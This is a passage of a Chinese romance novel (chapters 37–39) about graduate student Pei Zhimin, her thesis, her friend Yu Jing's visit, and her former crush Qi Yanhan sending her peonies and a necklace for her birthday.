“没有,”虞净哈哈大笑,打断她的话,“刚才在算钱呢,不能分心。” 这个姑娘现在经营着自家的旗袍店,店里生意好的,她这个当老板的数钱都要数不过来了吧。 裴知悯挑眉问:“那你给我的版权费赚回来了吗?” 虞净“切”了一声:“八百年前就赚回来了。” 裴知悯无声笑了。 绿树底下,学生来来往往,欢声笑语不断。 虞净问:“你那边怎么样啊?读研好玩吗?” 裴知悯直言:“不好玩,忙得要死。” 虞净笑了声:“他们都说,读研只有拿到录取通知书和毕业证的时候是高兴的。” 裴知悯赞同得不能再赞同了:“正确率百分之九十九。” 这话说的,感觉读研是自己给自己找罪受似的,虞净问就没有什么值得高兴的事吗?裴知悯很认真地想了想,说不用上班就挺好的,惹得虞净想打她。 那会儿裴知悯身边有一群男生经过,他们说话声很大,她们默契地都没出声,擦肩而过后,裴知悯随便走进了一条路。 虞净泡了杯茶来喝,慢悠悠地问道:“你在做什么?感觉周围人很多的样子。” 裴知悯使劲踩了下路边的落叶,闷闷道:“写不出来论文,在外面瞎逛。” 虞净可不想再提论文的事情,深表同情:“这事儿可就只能靠你自己了,姑娘我爱莫能助。” 裴知悯长长地叹息了声。 两个女生聊起来话题一个接一个,末了是虞净那边来了顾客,裴知悯不想耽误她赚钱才挂了,收了手机,她抬头一看,竟然走到了图书馆侧边。 孽缘啊。 算了,来都来了,不进去借本书都说不过去。 裴知悯绕过侧面到了图书馆门口,刚走两步就碰见了从图书馆出来的韩照,瞧她愁眉不展,他像是有透视术般问道:“是不是论文遇到问题了?” 裴知悯微愣,不太好意思地点了点头。 韩照笑着问:“介意跟我说说吗?说不定我能帮到你。” 此话一出,裴知悯顿时觉得这也是个办法,和人讨论或许死看书有用些,遂摇头道:“不介意。” 图书馆不方便说话,韩照看了眼时间,快五点了,提议说:“我们去吃饭吧,路上边走边说。” 裴知悯顿了一秒,同意道:“好。” 此时的阳光依旧温暖明媚,他们绕过图书馆出去,这里离食堂还有一段路,韩照问了问她的选题和框架,得知是数字经济下文化产业的转型升级时,他不禁一笑,研一时,他发表的第1篇 论文和这个沾了些边,于是可以提供给她的思路也就很多。 裴知悯静静听他讲,即将走到到食堂前,她忽地顿住脚,咬唇道:“师兄,要不这顿饭明天再吃吧?” 韩照反应过来,笑着问:“有灵感了?” 裴知悯弯唇:“嗯。” 韩照:“那快去写吧,灵感来了就要抓住。” “谢谢师兄,”裴知悯快速往另一路跑,还不忘回头道一句,“下次我请你。” 韩照望着她明亮的眼眸还有鬓边飘起的发尾,缓缓扬起了唇角。 茅塞顿开了后,裴知悯回去吭哧吭哧一鼓作气写了八千字,那时已经一点过了,她抬头看向墨蓝色的夜空,上面的星星又多又亮,漂亮得不行,她看了好一会儿才去睡觉,外面渐渐起了风,不轻不重地扫上窗玻璃,屋里的人睡得正香。 第二天依旧风清日朗,上午没课,裴知悯直接睡到了快中午才起来,邓漪昨晚也熬夜了,两个人对视一眼,同是天涯沦落人地笑了,快速收拾完去吃饭,今天是葛怡的课,她这年纪还坚守在教学岗位,做学生的迟到不好。 葛老师的学识渊博,讲课深入浅出,两堂课结束都四点了,邓漪要去图书馆,裴知悯一个人下楼,给韩照发消息,说别忘了晚上的饭,那边没有回复,她抱着书走出大楼,去学校小超市买了盒酸奶边走边喝。 小路两旁的榕树高大,裴知悯隔着弯下来的翠绿枝桠,看见了前方办公楼下出现的那道身影,一时停住了脚步,他穿着,单手插兜,步伐很快。 手机叮咚响了一声,韩照说他在篮球场,问她愿不愿意来等他一会儿,裴知悯默了下,再抬眼时那个人已经走进楼里,她淡淡收回视线往篮球场走。 到了闻霏办公室,祁砚寒径自在小沙发坐下,给自己倒了杯茶。 闻霏从电脑上移开视线:“你怎么来了?” 祁砚寒:“在附近谈事情,谈完了就想着来看看你。” “可别,”闻霏笑了下,下一秒,心紧起来,“是不是芷宜出事了?” 祁砚寒喝了口茶,笑着道:“没有,真的是来看看你。” 闻霏放下心来,接着看文档。 祁砚寒打开微信,点开了一个朋友圈,自从加了微信,除了那次转账说了两句,对话框便再无内容,她的朋友圈也没什么消息,之前发的都是一些风景照,偶尔有那么一两句吐槽。 一杯茶喝完,祁砚寒离开了办公室。 外头阳光正好,风拂过门口的绿树,一个女生打着电话从树下经过,背影有点像她。 他想起那张干净的脸。 祁砚寒走下台阶,往南大东边走,那时候他也说不上来具体是什么感觉,就想去碰运气见见她,偏偏运气顶好,走到篮球场,他一眼就看见了那个纤瘦的身影,一个人运着球,玩的不亦乐乎。 怕她干等着太无聊,韩照给了她一个篮球玩,大学时,裴知悯选修过篮球课,投篮嘛,马马虎虎,她站在三分线上,随便把球往前一抛。 哐啷一声,进了?! 裴知悯脸上是藏不住的兴奋。 祁砚寒挑着眉梢还没从她进球中缓过来,嘴角已经不自觉地扬起了个弧度。 篮球落地,弹跳几下缓慢朝外滚去,裴知悯跑了两步去捡,一看见门口的人,她定住了脚。 祁砚寒捡起那个篮球,迈着步子过来。 再次看见他,裴知悯平静许多。 祁砚寒走近来,看她一脸的淡定,不禁想起那晚上她的慌张无措,故意道:“今天看见我不意外?” 裴知悯咬着唇:“大白天的,有什么好意外的。” 祁砚寒笑:“过来看你们闻老师的。” 裴知悯:“嗯。” 风从侧面吹来,扬起球场上的灰尘。 祁砚寒缓步走近,把篮球递还给她:“这么厉害?三分球都能投进。” 裴知悯眼里的光亮还没消下去,整张脸鲜活有生机,祁砚寒看着她抿唇一笑,说:“偶然而已。” 他偏头笑了下,又转回头来问:“之前学过?” 裴知悯:“大学时选修过,但只学了最简单的技巧。” 祁砚寒“嗯”了一声,笑着说:“但看你运用的不错。” 裴知悯客气地抿出个笑。 天边的太阳逐渐移向西边,阳光变暗了两分。 祁砚寒朝她身后的球场轻抬下巴:“你继续玩,不用管我。” 裴知悯抱着那个篮球,愣着没动,她看着他这一身休闲的装扮,不慌不忙的,问出了心中疑惑:“你不用上班吗?” 投行工作的人不应该都很忙吗?况且,今天还是工作日。 祁砚寒看向她,眼底含笑:“这点时间还是有的,而且,上班不是都要去公司的。” 裴知悯没有正式上过班,对此还没有特别深刻的认识,只好干笑着点头“哦”了一声。 韩照注意到那边说笑的两个人,眉头渐渐皱紧,有男生喊了一声“接球”,他回过神,再度回到球场上来。 打了十来分钟,裴知悯也累了,她没再去篮球场,就坐在长椅上休息,祁砚寒在离她一个身位的地方坐下,拨弄了下放在他们中间的那本书的扉页,她坐得僵直,听见他问:“晚上还有课?” 裴知悯 擦了擦汗:“没有。” 祁砚寒收回手,微微撩起了唇角,感觉这趟应该没白跑。 时间渐暗,打球的人相继从他们身边经过走出去,男生们勾肩搭背问去哪儿吃饭,祁砚寒听着有点感慨,看向身旁的人,她的湿发干了一半,贴在耳后,安静地坐着看斜前方那群男生打球。 那时裴知悯坐在祁砚寒身边,想到此刻是在和他一起看球,心里真是百感交集,这要放在她的高中时代,她想都不敢想,可是她早已不是年少的模样,再用余光把他视作唯一的妄想。 她的发丝已经全干了,但她没一点要走的意思,祁砚寒看了眼天际的夕阳,轻声问:“怎么不走?” 裴知悯说:“在等一个朋友。” 祁砚寒皱眉:“晚上有安排了?” 裴知悯点了点头:“嗯。” 祁砚寒暗自咬了咬牙,忽然有点说不出来话。 正沉默时,韩照那边结束了这场球,他拿上东西过来找裴知悯。 看见他过来,裴知悯站起来整理了理衣发,准备离开。 祁砚寒看见她这个小动作,眼神微变,看向走来的这个男生时,眼里都存着警惕。 韩照站定和她说了句“打完了”,就看向了她身边的人,裴知悯简单向他们介绍了下对方。 “我师兄,韩照。” “祁砚寒,我……朋友,”她斟酌了下,还是选择了这个词语,又添了一句,“他也是闻老师的学生。” 韩照朝他略微颔首,算是打了招呼。 介绍完,裴知悯拿上书,看向祁砚寒:“我们还有事,就先走了。” 傍晚的南大很安和,风都变得轻缓了。 他们一同走出篮球场,向学校外边走去,那一双身影走在光里,松弛自然,祁砚寒站在原地,看着裴知悯帮韩照拿走手里的东西,好方便让他擦汗,男生看向她的眼神,柔情似水,盛着好不明显的意味,祁砚寒舔了舔牙根,心头滋味不好受起来。 第37章 第37章想来他是有点栽了 那天裴知悯请韩照去了东门外的一家很受欢迎的餐厅吃饭,店里人很多,他们到的时候,正巧有一桌客人结账离开,服务生带着他们去了空桌,那个位置挺不错的,靠近路边,对面就是南大的操场,能看到散步的年轻男女。 点过餐,韩照倒了杯茶给她:“这么见外?还请我来餐厅吃饭。” 在课业上,韩照帮过她不少,于情于理,都应该好好谢一下人家。 裴知悯莞尔道:“应该的。” 韩照笑了声,端起茶杯喝了一口,问起重要的事:“论文写完了吗?” 裴知悯微微一笑:“快了,还有一点。” 韩照略微颔首:“那就好。” 夕阳即将沉没到底,世界变得愈发黯淡了。 说完论文,他们又聊起了电影,今年出了一部文艺片,讲的是一对西北农村夫妇相互扶持的故事,票房破亿,却不知什么原因在全网下架了,说到此处,两个人都有些惋惜。 场面这时有点冷住了,韩照讲起了笑话。 与此同时,三米开外的路边,缓缓驶来了一辆黑色车辆,看到了那一双人影,祁砚寒将车靠边停下,往座椅上一靠,眼神投向左前方,这个角度,他看不到裴知悯的脸,但从韩照脸上的笑容就不难看出,他们相谈甚欢。 对面的人不知道说了什么,引得她扭头噗嗤一笑,祁砚寒看着那张笑颜,怎么看怎么刺眼,他心头烦躁,摸了支烟出来点燃,吸了一口又缓缓吐出,烟雾徐徐向上,模糊了眼前的视线。 想来自己真是有点栽了。 先前目送他们离去,他一个人走回西区取车,本来能直接从西门走的,他鬼使神差地绕了半圈从东门出来,就想看看她的态度。 此刻他想,还不如不看的好。 祁砚寒敛下眼眸,重重地吸了一口烟,又缓慢吐出来。 路上往来的行人众多,车流不息。 韩照的目光本来都在裴知悯身上,直到外边有一堆男女打闹,场面混乱,他被吸引了视线,朝外一瞥,就注意到了那辆黑车,驾驶座上的人棱角分明,左手手肘抵着车窗,漫不经心地抽着烟,眼眸漆黑深沉。 这一刻,韩照隐约意识到了什么,他默不作声地收回视线,看了眼对面毫不知情的女生,低下头喝起了茶。 等了一会儿,菜陆续上来。 看见他们动了筷子,祁砚寒就驱车离开了,等红灯时,他给卫旭打了个电话,喊他晚上出来喝酒,那会儿卫旭这个社畜还没下班,想都没想就拒绝了。 红灯还有三十秒,祁砚寒没说话。 卫旭忙着手头上的事,不解道:“好端端的喝什么酒啊?你生意没谈拢要借酒消愁,不至于吧?” 消个屁的愁。 祁砚寒咬了下腮帮,利落地把电话掐了。 夜幕降临,灯红酒绿的城市热闹非凡,街上的车辆穿梭不止。 路过繁华大街,祁砚寒下车去路口的便利店买了包烟,刚抽了两口,意外地碰见了秦京宁,这大小姐拎着小包踩着高跟鞋,妆容精致,不用猜就是要潇洒的,反观之下,他穿着休闲,手里夹着烟,脸上有显而易见的不快,有点反常。 “祁总,不对啊,”秦京宁端详了他几秒,“今天下班这么早都不高兴啊?” 祁砚寒表情清淡,没搭腔。 秦京宁细眉拧起,揶揄道:“你这什么表情?为情所困啊。” 祁砚寒眼皮微跳,默不作声地将烟头踩灭了。 这个哑巴。 秦京宁白了他一眼就走了,走出几步,又哒哒哒地返回来,不可置信道:“我难道说对了?” 祁砚寒咬了下牙,冷冷道:“还没到这个地步。” “说来听听呗?”秦京宁来了兴趣,“我挺好奇是什么样的女生。” 印象里他就大二谈了一个,还没多久就分了,工作了后,身边更是见不到一点异性的影子。 “我可没有对你余情未了啊,”秦京宁环抱双臂,悠悠道,“我只是问一问好帮你出出主意。” 年少不懂事,错把友情当爱情,故意喝醉去告白这事,她这辈子都做不出来第二次。 更丢脸的是,还失败了。 祁砚寒瞥了她一眼:“无可奉告。” 秦京宁哼了声,嘀咕了句“不说算了”,又哒哒哒地离开了。 高跟鞋的声音有节奏的远去,祁砚寒返回车上,一路疾驰。 南城的夜色慢慢变得浓稠起来。 回了家,祁砚寒在柜台取了酒和玻璃杯走向沙发,一杯酒一饮而尽,冰凉的液体滑入喉咙,流进胃里,刺激直抵大脑皮层。 心烦意乱的时刻,酒精或许是个好东西,它让清醒的人短暂沉沦远离痛苦,让不清醒的人变得愈发清醒。 那是个什么样的女生? 很久之前,祁砚寒好像就想过这个问题,她的长相很大气舒展,身上的那股感觉,怎么说呢?像是溪水一样,宁静温和,看起来不显山不露水温吞内敛,其实柔韧又有力量。 你说从前那时候,他没被她吸引是假的,只是当年他心高气傲随性不羁,她没那意思,他那点想法摊开来讲就不合时宜了。 那瓶酒,祁砚寒喝了很久,越喝到后面越清醒,他看着这幽深的夜色,低低笑了声,真是造化弄人啊,怎么兜转几回他还是有点喜欢她,后来醉意上来,他脑子一片混沌,只记得她今天穿着杏色外套黑色牛仔裤,头发扎在脑后,没化妆,却也漂亮得不行。 入了夜,屋外不知何时起了风,从窗户溜进来,吹得窗帘和灯光都在乱晃。 有点晃眼睛。 裴知悯揉了揉眼窝,继续完善论文,从回来到现在,她在电脑前坐了有四个小时了,这个论题一展开来,其实有许多可以写的,她把本科期间学的新传的知识用了进去,不知不觉竟然又写了两千字,这个时候,她好像能理解外公从前说的那句“人生没有白走的路”了,那时她要是知道闻霏要她把这两千字删去,肯定觉得有些弯路还是不走的好。 大功告成后,裴知悯难得睡了个好觉。 隔天一早,她就从被窝里爬了起来,收拾好去绘画机构。 天空阴沉,路面笼着一层薄雾,风从中间穿过, 扫在车窗上声音近在耳畔,裴知悯睁开眼,看着倒退的街景,有点恍惚。 手机日历显示今天是11月22日,小雪。 前些天的晴天给了她错觉,以为冬天还远,这会儿大风一刮,她才有了入冬的实感。 一上午的课过得很快,中午时分,大雾已经散去,这时的天色更加昏暗,裴知悯坐在休息区,百无聊赖地托着下巴看向窗外,没坐多久,忽然下起了雨,淅淅沥沥的声响,让人听得舒服。 方芷宜走进来,窗边的那张脸,总感觉似曾相识,看了十来秒钟,记忆终于苏醒了起来。 雨声渐大,掩盖住了方芷宜惊呼的那声“姐姐,是你啊”。 “我哥上次还旁敲侧击地提醒我来着,”她腼腆地笑着道,“我都没想起你来。” 裴知悯早在上次捡到玩偶时就认出她来了,但听到和祁砚寒有关,她顿了下,微笑说:“没关系。” 方芷宜拉开一把椅子,坐在了她旁侧。 裴知悯欣慰地感慨:“还在坚持画画,不容易啊。” 方芷宜不好意思地挠了挠头,事实上她前些年还是三天打鱼两天晒网的,后面因为那个画师,她才真正走进了画画。 雨愈发大了,她们聊了十来分钟就各自去了班上。 一忙起来这一天就过得很快,回了学校,雨堪堪停了。 走回宿舍,经过了一个篮球场,雨才停,地面还是湿的,就有人兴致高涨来打球了,裴知悯站在防护铁栏外看着他们奔跑传球,想起有一年祁砚寒和蒋琛他们打球打到一半,忽地落起了雨,正在兴头上,那群男生一个都没走,在雨中打得疯狂。 那时候裴知悯从场外经过,看完远处的天,远处的地,才敢把视线投过去,那时他全身都被雨淋湿了,T恤贴在紧实的腹部,她随便看一眼都会脸红。 看了两分钟,裴知悯默默收回目光往回走。 后来的日子,她还是一边上课一边写论文,闻霏去出了一趟差,等到她回来,她就抱着电脑去了她办公室。 奈何里面已经有人了,裴知悯正想走,门里却突然传出了一声懒散至极的笑,她停住脚步,紧接着,有一道男声传了出来—— “知道了,小姨。” 裴知悯猛地一僵,难怪他和闻老师看上去不像一般的学生和老师,原来是有这层关系。 话音落下没几秒,门从里面打开了,四目相对时,祁砚寒都愣了瞬,裴知悯倒是平静许多,她朝他抿出一个笑,绕过他,侧身走进办公室。 闻霏的专业能力很强,指导起论文来直击要点,听到新传的那部分要删去,裴知悯简直想给那天做无用功的自己哐哐两拳。 讲完都是一个小时之后的事了。 “还想读博士吗?”闻霏笑着问,“想读的话,你可能还要辛苦一下,再写两篇论文准备着。” 裴知悯摇头:“不读了。” 闻霏有点好奇:“为什么?” 这个学生,学习能力很强,又专注细心,再磨砺磨砺假以时日,肯定会是个做学术的好苗子。 裴知悯回答得很真实:“以我目前的能力读博有点吃力。” 闻霏浅浅一笑,表示尊重她的想法。 理好文件,裴知悯抱着东西下楼,大门口,那个男人站在树下抽烟,肩宽背阔,姿态端正笔挺,瞧见她出来了,他顺手把按灭在了垃圾桶上方的托盘里,抬腿走过来,看着她平静如水的脸,祁砚寒有点拿捏不准,试探道:“你生气了吗?” 裴知悯看着他没动。 祁砚寒闷声一笑,自顾自说:“是该生气的。” 裴知悯眉头微蹙,她只是有点吃惊,生气倒不至于,可是他这样熟稔自然的模样,却让她感觉不自在。 祁砚寒轻轻吸了一口气,柔声道:“故意隐瞒我和你导师关系这事,是我做的不对,你别和我计较成吗?” 他的姿态放得很低,说的话也是低声下气的,裴知悯望着他那双盛着柔情的狭长眼眸,一刹那就要沉溺下去了。 她别开脸,闭眼缓了一下。 手机震了下,邓漪发来消息,问她怎么还没到,裴知悯一看时间,完蛋了,还有五分钟就要上课了,她看向祁砚寒:“我没有生气,说不说是你的自由,我无权干涉,另外,我还有课,就先走了。” 没等他开口,裴知悯就走进了树下延伸出的小径,她看上去很着急,走了几步就小跑了起来,祁砚寒望着她奔跑的背影,不禁暗悔,无可奈何地叹了口气。 第38章 第38章“情有独钟的爱” 二零二二年的最后一个月,南城的天气总是不太好,阴雨连绵,断断续续下了一周,到了十号,日头才渐渐放了晴。 上午考完一门选修课的考试,裴知悯回了趟家,苏英正在厨房煲汤,瞧见她回来了,关小了火,走过去问:“这几天不忙?” 裴知悯舒服地靠在沙发上:“明后天没课,回来陪陪你们。” 苏英打量着她消瘦的脸:“感觉瘦了,你在学校是不是没有按时吃饭?” 裴知悯不敢直视她:“吃了饭的。” 苏英看了她两秒,说了句“你先坐会儿”,就进厨房忙活了。 这顿饭做得很丰盛,菜摆了半桌子,席间苏英给裴知悯又是盛汤又是夹菜的,她吃得可饱。 下午时候,阳光更好。 苏英在客厅里边修剪花枝边和人视频聊天,裴知悯坐在阳台的小桌子前画画,桌上摆着草莓,她一个接一个的喂进嘴里,阳光洒在地板上,屋子里敞亮温暖。 那阿姨健谈,话茬就没断过,苏英一味夸赞,裴知悯听了一耳朵,好像在谈论她儿子,挂了电话,苏英有意无意地提起:“我这个单位同事的儿子,长得高大周正,看上去挺不错的,噢,好像和你差不多大,后面介绍你们认识一下,就当交个朋友。” 裴知悯装不知道这话背后的含义。 “妈,我每天除了上课还要写论文做课题,忙着呢,”她一笔画完,委婉拒绝,“没时间去想别的事。” 苏英默不作声,只是“咔嚓”一剪子下去,一长段的花茎落地。 裴知悯哑然失笑。 她和苏英没在此事上深入聊下去,换了话题说起了别的,只是谈到家长里短,总会有谁家姑娘嫁人谁家儿子娶妻,苏英这时就会将风头对准她,裴知悯打着哈哈揭过话头,把最后一个草莓喂进嘴里,她抱着平板往房间走,“妈,我进去给平板充电。” 苏英听着她踢踏的脚步声,摇着头无奈道了一句“这孩子”。 到了三点,日光正盛,外头有小孩子的玩笑声,追逐打闹好不热闹,裴知悯专心不了,索性拿上东西出门去了外边的咖啡店里画,店里很安静,进出的人都刻意放低了音量,过了十来分钟,走进来了个穿着西装的男人,他在讲电话,轻声细语,末了听到他玩笑着道了句“这么晚还没到,这顿咖啡钱你付”,就挂了电话。 裴知悯没去关注那人,直到她整理好图层一抬头,和他的目光凌空碰上,她顿了下,惊喜道:“班长?” 高中毕业后,他们的联系就少了,只偶尔借着节日问候两句,此时遇见,很难不惊讶。 林泽民微笑:“终于看见我了?” 裴知悯抿唇笑了下,听见他又问:“来这处理工作吗?” “不是,”她说,“我还在读研究生。” 林泽民赞许道:“有远见。” 裴知悯浅然一笑,看着他一派商务精英的装扮,忽地有点感慨,一晃同窗的时光都过去这么久了,他们都长成了忙绿的大人。 聊了两分钟,林泽民的视线忽然移向她身后,道了句:“来了啊。” 裴知悯转过身去看,祁砚寒一身黑色,拎着公文包阔步走了过来,她有点怔愣:“你们这是?” 林泽民简言解释:“公司之间有合作。” 裴知悯露出了然神色。 店门被接连推开,一连走了几桌客人,咖啡厅里更安静了。 他们在前桌谈事,裴知悯安静地做自己的事,谈的差不多的时候,林泽民被一通电话叫走了,祁砚寒倒是没 走,气定神闲地坐在了她对面的椅子上,裴知悯抬眼看去。 “不介意吧?”他问了句。 裴知悯望着他低垂的眼睛,很想问一句你怎么不走?但或许当时的店里太过寂静,她不想打扰别人,只是沉默地摇了摇头。 相对而坐,裴知悯画着稿,祁砚寒处理工作邮件,期间很少说话,但就是这样互不打扰的氛围,竟然意外的舒适和谐。 快画完时,她喝了两口咖啡放松了会儿。 “你画画还是业余爱好吗?”祁砚寒找准空档,同她聊了句。 裴知悯放了杯子:“不算,这些画也有会拿去商用的。” 祁砚寒眉峰微挑:“这么厉害?” 裴知悯低眉一笑:“运气好会有而已。” 手机屏幕这时亮了起来,韩照来问她课业上的事,裴知悯回复起了消息,一时忽略了对面的人,待她放了手机,他才问道:“你有事要忙?” 裴知悯:“没有,师兄来问了点事。” 祁砚寒沉吟片刻:“韩照?” 裴知悯眼瞳微怔。 这表情已经代表了答案。 祁砚寒轻咬牙根,端起咖啡抿了一口,美式真苦啊。 画完走出咖啡店,正是傍晚,柔和的阳光洒满了这条街道,祁砚寒说去吃饭,裴知悯顿了一下,本来说好是三个人一起吃的,但林泽民走了,他们两个单独吃,好像没什么必要?正纠结时,苏英的电话打来了,让她回家,裴知悯只好拒绝,说下次再吃。 后来的生活依旧平淡,但好在临近期末,裴知悯的课少了很多。 那天是个普通的晴日,无风无雾。 上午只有一节课,还没下课,突然收到了虞净的电话,她按了挂断,等下了课拨回去时,手机却提示“您所拨打的电话不在服务区”,裴知悯疑惑地退出通话页面,点开微信,才看到虞净发的信息,她那头声音有点嘈杂,起初裴知悯还没听清,到了后面,语音里出现了机场的登机提醒。 她慢慢听到重点:我要来南城谈布料采购的事,飞机两个小时后落地,要是我到了发现你没来接我,咱们就绝交吧。 裴知悯顿了一秒,快速跑回宿舍放书换衣服,又飞快地朝着校门跑去,踩实的脚步里,满满都是欢欣雀跃。 祁砚寒坐在车里,望着她飞奔的身影,好奇是谁能让她跑着去见,压着速度跟在她身后。 她似乎很着急,大步大步地跑着,到了道路尽头,她已经累得扶着腰喘气,祁砚寒闭眼吸了一口气,踩了油门开到她身边。 “去哪儿?我送你。” 裴知悯调整了下呼吸,看手机时间快来不及了,很客气地道了谢,走向副驾,打开车门坐了上去,说:“机场。” 天空澄净,散散地飘着几朵云,车辆驶离带起一阵阵风,吹起散落的叶片,开出南大,祁砚寒看似随意地问了句:“见谁需要这么着急?” 裴知悯说:“有个朋友临时要来。” 祁砚寒面色冷淡,心底隐约有点不安,又听她道:“她说下了飞机没见到我人就要和我绝交。” 这种话术,多半是个女生。 祁砚寒默默勾起了唇角。 车辆在行车道上疾驰,到机场时虞净的那班飞机正好落地,裴知悯站在出口处翘首以盼,穿羽绒服的季节,虞净穿着旗袍和大衣走在里面,特别好认,她只一眼就看到了她,招手喊了她一声。 虞净推着登机箱,径直走过来给了她一个大大的拥抱,笑意很深:“友谊长存。” 裴知悯拍了拍她的背:“你下次再搞突然袭击我们才真要绝交。” 虞净弯咧开嘴笑,讨好道:“这不是为了给你个惊喜嘛?” 裴知悯哼了一声,不再揪住此事不放。 寒暄完,虞净才注意到她身旁站了个男人,目光交汇,她倏地睁大了眼,较之于那张照片,他的五官没什么变化,只是更加硬朗英气。 她木讷出声:“你不是……” 裴知悯赶紧给了她个“你小心你说的每一句话”的眼神。 “你好,我是祁砚寒。” 虞净会意,保持镇定,同样做了个自我介绍:“你好,我叫虞净。” 机场里人流如潮,声音喧闹,不适合聊天。 祁砚寒绅士地接过虞净的行李箱,朝外面走去,两个女生走在后面窃窃私语,虞净掐了下裴知悯的胳膊,凑近到她耳边:“你这什么情况啊?他不就是你从前暗恋的那个男生吗?” 裴知悯小声道:“今天这是个意外,晚点再跟你说。” 出了机场,祁砚寒正欲把行李箱放去后备箱,裴知悯出声截住他的动作:“要不你去忙自己的事吧?我们自己回去就行,机场打车很方便的。” 祁砚寒看向她,淡淡一笑:“没事,今天不忙。” 裴知悯抿唇,客气地说了句“麻烦了”,拉着虞净去了后座。 阳光宁静,窗外有架刚起飞的飞机,轰鸣声很大,在天际留下一条细长的线。 车上,虞净一反常态,话多的不行,动不动就说起从前大学的事,裴知悯生怕她说漏了嘴,听得一颗心不上不下的。 好在很快就到了下榻的酒店,一进门,虞净就盘问起了她,裴知悯一五一十地交代完了,以过来人的经验,虞净直觉这男人心思不简单,很有可能对你有意思,裴知悯慌乱摆手说不可能,让她别开玩笑了。 她哪里敢想,他会喜欢自己。 虞净看着她低眉敛目一脸不可思议的样子,反驳道:“怎不可能?你人美心善成绩好,又会画画又会挣钱,男生不喜欢你就是他眼瞎。” 裴知悯听着这个江南姑娘硬声道的一通,慢慢笑了。 事实上,虞净的性格其实挺温柔和善的,但后来当了店主,时不时就会遇见一些胡搅蛮缠的客人,她的脾气都是在这些事里锻炼出来的。 后来的几天,虞净去谈布料合作了,裴知悯开始准备期末考,考完了几门专业课,她带着虞净去了各大景点玩,照片拍了一堆。 月底那天,虞净给她庆祝生日,今晚跨年,街头巷尾全都是人,她们吃了饭,去逛街买个纪念品排队结账都排了半小时,两个女生都不喜闹,买了东西就不想逛了。 夜色四合,拥挤的人潮让她们走不动道。 末了,裴知悯和虞净去了南大,今天学生们几乎都出去了,校园里空空荡荡的,很是静谧,她们漫步在林荫路上,路灯昏黄,照着两个长长的影子。 整条路上只有她们两个人,风拂过两边的树木,发出的呼呼声怪吓人的。 虞净忽然说:“我们唱首歌吧。” 裴知悯也有点怕,为了壮胆说“好”。 她思索片刻,先开口唱起了虞净最喜欢的歌《人海》。 一首很小众的歌,当年她第一次推荐给裴知悯听的时候,她就觉得这首歌很有韵味,此后很多年,它都在她歌单的置顶里。 “想见却还在等的人不太多,连起来也让人心碎碎成河。” …… “珍惜最是难得,爱你让生命变辽阔,温柔被我唱成了歌,伴你人山人海不停留。” 道路尽头一片黑暗,有辆车停在阴影里,一抹火光忽明忽灭,祁砚寒靠在车边抽着烟,静静地注视着远处那个走在树影里的女孩子,清脆的嗓音将歌唱得悦耳动听。 裴知悯开了头,虞净自然而然地接上了后面的歌词, 一首很温柔的曲子,她们唱得很轻很慢。 祁砚寒慢慢抽着烟,眼神一直落在裴知悯身上,或许她不知道,她唱歌的时候,特别鲜活可爱有生活气,他看得心神微动。 唱完歌,虞净又祝福了她一遍生日快乐,裴知悯歪头笑着,笑容格外明媚。 一根烟燃尽,祁砚寒看着她们两个走进便利店,在货架前各拿了一瓶酸奶,又朝着操场走去,他丢了烟头,上了车打了圈方向盘开出南大。 夜空明亮,零零散散地铺了很多星星。 两个女生在操场聊着天散着步,一圈又一圈,直到夜色深重,时间不早,虞净打算回去了,走出操场,迎面来了个跑腿小哥,给了裴知悯一束花,她一脸懵,说她没订过花你是不是送错人了,小哥一问她的名字,笑着说肯定没错,把花放在了她怀里。 那是一捧粉色花束,花朵很大,开得鲜艳绚烂,上面没有卡片,今天这日子给她送花,什么意思都不说个清楚? 虞净拨弄了下包花的牛皮纸,好奇道:“谁送的?” 裴知悯:“不知道。” 月明风轻,操场寂静。 裴知悯盯着那束花看了半天仍旧一脸茫然,还是虞净灵光乍现,一语中的:“你说……会不会是……他送的?” 裴知悯一时僵住,不可思议地看了眼花,慢声说:“不会吧?” 虞净也只是猜测,说不是他的话也肯定是其他哪个追求者送的,她看着那捧花,小声咕哝了句“是谁这么小气?居然就只送束花”。 裴知悯抿了抿唇。 后来她才发现,那束花的最底部,藏着一个盒子,里面是一条镶着星星的项链,熠熠生辉,很漂亮。 虞净环抱双臂,忽然问她:“你知道这是什么花吗?” 裴知悯关于花的知识都是从外婆那儿学到的,院子里没种这一种,她对怀里的花也就没什么了解。 虞净看着她懵懂无知的样子,稍显无奈地叹了口气,点明道:“这是芍药。” 裴知悯还是不懂,微微皱眉:“所以呢?” “你自己去查查它的花语吧。” 虞净只能提示到这儿了。 这种花很不一样吗? 裴知悯愣了下,再抬眼时虞净人已经走到了校门口,裴知悯想要去送送她,虞净背身朝她挥了挥手,扬声说不用了,让她好好想想花是谁送的。 月亮很圆,银亮色的光晕洒下来,落在那个温吞的人影身上,裴知悯抱着花,慢腾腾地走回宿舍,邓漪不在,她开了灯把花放在书桌上,坐在椅子上沉默地盯着看,鬼使神差地想不会真是他送的吧? 手机这时响了,裴知悯看着来电显示,顿了两秒,才接了起来。 “回寝室了吗?”祁砚寒问。 裴知悯轻声:“嗯。” 祁砚寒看向天上的月亮,想她此刻或许还没反应过来。 “花收到了吗?”他直接问。 真的是他送的?! 裴知悯心头说不出是什么感觉,她看着那束花,眼眶微涩,咬唇道:“你送我花做什么?” 祁砚寒在那头都听怔了一秒,想这姑娘也真够迟钝的。 他正想要不把这层窗户纸捅破算了,头顶忽然有烟花炸开了,电话两端的人同时看了过去,一簇一簇的烟花升腾炸开,盛大又绚烂,烟花还在放,他说生日快乐。 话音落下,裴知悯完全愣了。 “这就是原因。” 裴知悯心跳如雷,动了动唇却不知道该说什么,她没出声,他似乎也不急,过了一会儿轻轻笑了一声,道了句“晚安”就挂了电话,手机屏幕还亮着,她点开浏览器搜索芍药花的花语,圆圈转了两圈,跳出答案。 芍药:情有独钟的爱。 裴知悯看着这一行字,心都漏跳了一拍,她曾经很喜欢的男生现在好像喜欢自己,听起来就让人不敢相信,像是青春年少里残缺的悸动变成了一个圆,在她珍贵的二十四岁生日当天。 第39章 第39章“重蹈覆辙只会遍体鳞伤。”…… 虞净在南城了一周,就要回江都了,她是二号下午四点的飞机,当天中午,裴知悯请她吃饭当做告别。 餐厅在繁华大街那片,环境很好,幽静古朴,点完菜,虞净笑说:“破费了啊。” 裴知悯喝了一口茶,悠悠道:“还行,不会吃穷我的。” 虞净轻轻笑了。 “这一趟算是来值了,”她感叹道,“生意谈妥了,玩也玩开心了。” 裴知悯笑:“欢迎常来。” 